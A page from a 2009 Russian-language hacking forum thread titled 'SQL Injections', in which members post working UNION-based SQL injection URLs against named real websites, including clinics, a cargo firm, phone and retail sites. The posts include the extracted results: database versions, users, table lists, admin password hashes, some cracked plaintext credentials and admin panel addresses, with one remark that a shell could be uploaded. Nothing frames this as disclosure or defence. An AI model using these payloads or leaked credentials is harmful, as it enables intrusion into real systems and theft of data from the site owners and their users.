FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 885 из 1602

885

Опции темы

Поиск в этой теме

Опции просмотра

24.04.2009, 21:24

M.W.N.N.

Участник форума

Регистрация: 05.01.2009

Сообщений: 191

Провел на форуме:
3020589

Репутация: 240

Код:

http://www.bangkoksurgery.com/thai/webboard/question.php?gid=7312'+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7/*

version():5.0.45-log
database():Bangkoksurgery
user():Bangkoksurgery@localhost

Код:

http://www.bangkoksurgery.com/thai/webboard/question.php?gid=7312'+union+select+1,2,3,concat(username,0x3a,user_password),5,6,7+from+phpbb_users/*

admin:21232f297a57a5a743894a0e4a801fc3=admin

Код:

http://www.bangkoksurgery.com/thai/webboard/question.php?gid=7312'+union+select+1,2,3,concat(0x3a,user,0x3a,pass),5,6,7+from+admin_db/*

admin:admin

24.04.2009, 23:32

Rubaka

Участник форума

Регистрация: 02.09.2007

Сообщений: 292

Провел на форуме:
3659973

Репутация: 466

Отправить сообщение для Rubaka с помощью ICQ

http://www.hockeydb.com PR=6

http://www.hockeydb.com/ihdb/stats/pdisplay.php?pid=-62240+union+Select+user(),2,3,4/*

Database Version: 5.0.45-log
Database name: slater_slater
User name: slater_r@localhost

есть таблица vb.users
хеши все соленые!

25.04.2009, 03:27

molotovkeyt

Новичок

Регистрация: 02.11.2008

Сообщений: 25

Провел на форуме:
147543

Репутация: 55

cargotrend.co.th
Google PageRank 3

chttp://www.cargotrend.co.th/webboard/question.php?gid=-115 UNION SELECT 1,2,3,4,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C6 96E6A626567696E,(SELECT CONCAT(username,0x7873716C696E6A64656C,passwd,0x78 73716C696E6A64656C,update_date) FROM cargotrend_data.useradmin LIMIT 3,1),0x7873716C696E6A656E64),0x71),0x71),6,7,8,9/*

bweagle:a9071fbe0379ea38bd6684c48de6e9f4:2009-03-13 17:28:21

bweagle:flyhigh
http://www.cargotrend.co.th/admin/login.php

Радует статистика по сайту

http://www.cargotrend.co.th/stat/

Шелл можно закинуть

Вдогонку, желающим поковыряться
http://www.greenlandcity.com/webboard/question.php?gid=-107+union+select+1,2,3,4,5,version(),7,8-- PR 1
http://www.job2way.com/webboard/question.php?gid=-394+union+select+1,2,3,4,version(),6,7-- PR 3
http://www.ningfashion.com/webboard/question.php?gid=-214+union+select+1,2,3,4,5,version(),7,8-- PR 1
Везьде 4.1.22-standard

Последний раз редактировалось molotovkeyt; 25.04.2009 в 03:34..

25.04.2009, 06:37

ILYAtirtir

Участник форума

Регистрация: 25.04.2007

Сообщений: 176

Провел на форуме:
1957988

Репутация: 739

Отправить сообщение для ILYAtirtir с помощью ICQ

Hoster IVR,Voice,Broadcasting,Phone,Numbers,Call Routing | Ifbyphone

Цитата:

http://www.ifbyphone.com/clickto_getphone.php?click_id=1565+and+substring(v ersion(),1,1)=5

5ая ветка
user() = ibp-prod_user@web1.ifbyphone.com

Ново-Курьинская вода

Цитата:

http://www.voda.ur.ru/main.php?main=news&rand=4376&id=-100108+union+select+1,concat_ws(0x3a,database(),us er(),version()),3

Код:

voda:voda@jet.mplik.ru:5.0.41-log

Цитата:

http://www.voda.ur.ru/main.php?main=news&rand=4376&id=-100108+union+select+1,concat_ws(0x3a,login,passwor d),3+from+eco_admin

Код:

admin:5d436cf40fad3f2e

админка http://voda.ur.ru/admin.php

Сеть по лечению целюлита и оздоровления организма

Цитата:

http://www.cellulait.ru/conf/index.php?id=3183+and+1=1

5ая ветка

Код:

user() = proinfo@localhost
database() = proinfo_cellulait

25.04.2009, 12:11

PaCo

Постоянный

Регистрация: 06.02.2008

Сообщений: 494

Провел на форуме:
1754802

Репутация: 380

6koles.ru тИЦ :450

Код HTML:

http://6koles.ru/shini_search_result.php?mode=size&season=0&width=30&height=1&radius=13&company=6+UnIoN+select+concat_ws(0x3A,user(),version(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--+&class14=on

user6koles1@localhost:5.0.24-standard:db_user6koles1

25.04.2009, 12:43

HAXTA4OK

Reservists Of Antichat - Level 6

Регистрация: 15.03.2009

Сообщений: 560

Провел на форуме:
4358210

Репутация: 2017

продолжим ламать шины

ТИЦ: 400
PR: 4

http://www.koleso.ru/index.php?pageId=-1+union+select+1,2,3,concat(user(),0x3a,version(), 0x3a,database()),5,6, 7/*

koleso@localhost:5.0.45-log:koleso

25.04.2009, 15:18

Rav1n

Познающий

Регистрация: 05.11.2008

Сообщений: 92

Провел на форуме:
1562063

Репутация: 149

http://www.itscoldoutside.com/

Код:

http://www.itscoldoutside.com/news.asp?id=1+or+1=(select+top+1+id+from+dtproperties)--

version: Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
db_name: ICONews
system_user: Clive

вот что удалось раскрутить:

Код:

table_name			column_name

VW_test
dtproperties	'id'	'objectid'	'property'	'value'	'uvalue'	'lvalue'	'version'
NewsArticles
sysconstraints	'constid'	'id'	'colid'	'spare1'	'status'	'actions'	'error'
syssegments	'segment'		'name'	'status'
t_jiaozhu		'jiaozhu'
tbl_news
vw_bcpMasterSysobjects	'tag'	'parent'	'Article!1!ID'	'Article!1!BradftonID'	'Article!1! Heading'		'Article!1! DateFeed'
vw_googlenews 
VW_rss
VW_top
VW_xml

p.s. первый раз

25.04.2009, 15:20

BlackPanther

Новичок

Регистрация: 19.04.2009

Сообщений: 15

Провел на форуме:
139497

Репутация: 10

Site: (sibmedia.ru) Новостной портал.
SQL:

Код:

http://sibmedia.ru/index.php?id=-10220+union+select+CONCAT_WS(CHAR(32,58,32%20%20),user(),database(),%20version()),null,2--

Рузелтат смотреть вверху.
Таблицы :

Код:

[*]CHARACTER_SETS[*]COLLATION[*]COLLATION_CHARACTER_SET_APPLOCABILITY[*]COLUMNS[*]COLUMS_PRIVILEGES[*]KEY_COLUMN_USAGE[*]PROFILING[*]ROUTINES[*]CHEMATA[*]CHEMA_PRIVILEGES[*]STATISTICS[*]TABLES[*]TABLE_CONSTRAINTS[*]TABLE_PRIVILEGES[*]TRIGGERS[*]USER_PRIVILEGES[*]VIEWS[*]all_news[*]areas[*]static[*]vote

25.04.2009, 15:59

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

Провел на форуме:
6075534

Репутация: 2731

Отправить сообщение для mailbrush с помощью ICQ

Код:

http://www.ckat.ru/keywords/answer.php?id=-1+union+select+concat_ws(0x3a,user(),database(),version())/*

Uwww63S@localhost:udb63:4.1.21-log

Код:

http://www.venereology.ru/faq/answer.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9

mgido@localhost:mgido:5.0.45

Код:

http://www.infomedical.ru/faq/answer.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9

infomedical@localhost:infomedical:5.0.45

Последний раз редактировалось mailbrush; 25.04.2009 в 16:16..

#10

25.04.2009, 19:47

M.W.N.N.

Участник форума

Регистрация: 05.01.2009

Сообщений: 191

Провел на форуме:
3020589

Репутация: 240

Код:

http://www.beadstreet.com.au/listproducts.php?id=47+union+select+concat_ws(0x3a,version(),database(),user())+limit+1,1

version():4.1.20
database():beadstreet
user():beadstre@localhost
__

Код:

http://www.bpsca.co.uk/products.php?id=147+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11+limit+1,1/*

version():4.1.22-standard:
database():bpsca_data
user():bpsca_website@localhost
__

Код:

http://www.etver.ru/1forum/viewmessage.php?sid=1&id=29140+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9

version():5.0.77-log
database():etver
user():etver@localhost

Последний раз редактировалось M.W.N.N.; 26.04.2009 в 01:41..

Страница 885 из 1602

885

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

ANTICHAT.XYZ